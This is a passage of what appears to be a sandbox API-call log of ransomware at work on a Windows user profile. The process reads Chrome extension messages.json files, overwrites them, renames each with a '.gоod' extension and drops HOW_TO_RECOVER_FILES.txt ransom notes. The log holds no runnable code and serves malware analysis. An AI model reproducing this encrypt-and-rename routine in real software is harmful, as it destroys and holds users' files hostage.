lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl", lpFilePart=0x0) returned 0x7b [0251.672] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5538038e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55382aa1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55382aa1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ace0 [0251.673] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5538038e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55382aa1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55382aa1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.673] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55382aa1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55385128, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0251.673] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0251.673] FindClose (in: hFindFile=0x134ace0 | out: hFindFile=0x134ace0) returned 1 [0251.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0251.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0251.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0251.673] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl", lpFilePart=0x0) returned 0x7b [0251.673] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5538038e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55382aa1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55382aa1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0251.673] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5538038e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55382aa1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55382aa1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.674] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55382aa1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55385128, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0251.674] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55382aa1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55385128, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0251.674] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0251.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0251.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0251.674] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json", lpFilePart=0x0) returned 0x89 [0251.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0251.674] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3b0a940 | out: lpFileInformation=0x3b0a940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55382aa1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55385128, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd9)) returned 1 [0251.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0251.675] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json", lpFilePart=0x0) returned 0x89 [0251.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0251.675] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0251.675] GetFileType (hFile=0x89c) returned 0x1 [0251.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0251.675] GetFileType (hFile=0x89c) returned 0x1 [0251.675] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xd9 [0251.675] ReadFile (in: hFile=0x89c, lpBuffer=0x3b0add8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3b0add8*, lpNumberOfBytesRead=0x1f6e7648*=0xd9, lpOverlapped=0x0) returned 1 [0252.080] CloseHandle (hObject=0x89c) returned 1 [0252.431] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json", lpFilePart=0x0) returned 0x89 [0252.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0252.431] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0252.432] GetFileType (hFile=0x824) returned 0x1 [0252.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0252.432] GetFileType (hFile=0x824) returned 0x1 [0252.432] WriteFile (in: hFile=0x824, lpBuffer=0x3a1b1c8*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3a1b1c8*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0252.433] CloseHandle (hObject=0x824) returned 1 [0252.433] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json", lpFilePart=0x0) returned 0x89 [0252.433] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0252.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0252.433] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55382aa1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55385128, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x92ad6a6b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0252.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0252.433] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.gоod")) returned 1 [0252.434] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0252.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0252.434] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0252.435] GetFileType (hFile=0x824) returned 0x1 [0252.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0252.435] GetFileType (hFile=0x824) returned 0x1 [0252.436] WriteFile (in: hFile=0x824, lpBuffer=0x3a1eb00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3a1eb00*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0252.436] CloseHandle (hObject=0x824) returned 1 [0252.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0252.436] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR", lpFilePart=0x0) returned 0x7e [0252.436] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5538ede3, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55393c15, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55393c15, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134afe0 [0252.437] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5538ede3, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55393c15, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55393c15, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.437] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55393c15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55396298, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0252.437] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0252.437] FindClose (in: hFindFile=0x134afe0 | out: hFindFile=0x134afe0) returned 1 [0252.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0252.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0252.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0252.437] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR", lpFilePart=0x0) returned 0x7e [0252.437] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5538ede3, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55393c15, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55393c15, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a920 [0252.438] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5538ede3, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55393c15, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55393c15, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.438] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55393c15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55396298, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0252.438] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55393c15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55396298, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0252.438] FindClose (in: hFindFile=0x134a920 | out: hFindFile=0x134a920) returned 1 [0252.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0252.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0252.438] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json", lpFilePart=0x0) returned 0x8c [0252.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0252.438] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3a2eba0 | out: lpFileInformation=0x3a2eba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55393c15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55396298, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xde)) returned 1 [0252.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0252.439] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json", lpFilePart=0x0) returned 0x8c [0252.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0252.439] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0252.439] GetFileType (hFile=0x824) returned 0x1 [0252.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0252.439] GetFileType (hFile=0x824) returned 0x1 [0252.439] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xde [0252.439] ReadFile (in: hFile=0x824, lpBuffer=0x3a2f048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3a2f048*, lpNumberOfBytesRead=0x1f6e7648*=0xde, lpOverlapped=0x0) returned 1 [0252.439] CloseHandle (hObject=0x824) returned 1 [0252.637] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json", lpFilePart=0x0) returned 0x8c [0252.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0252.637] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, 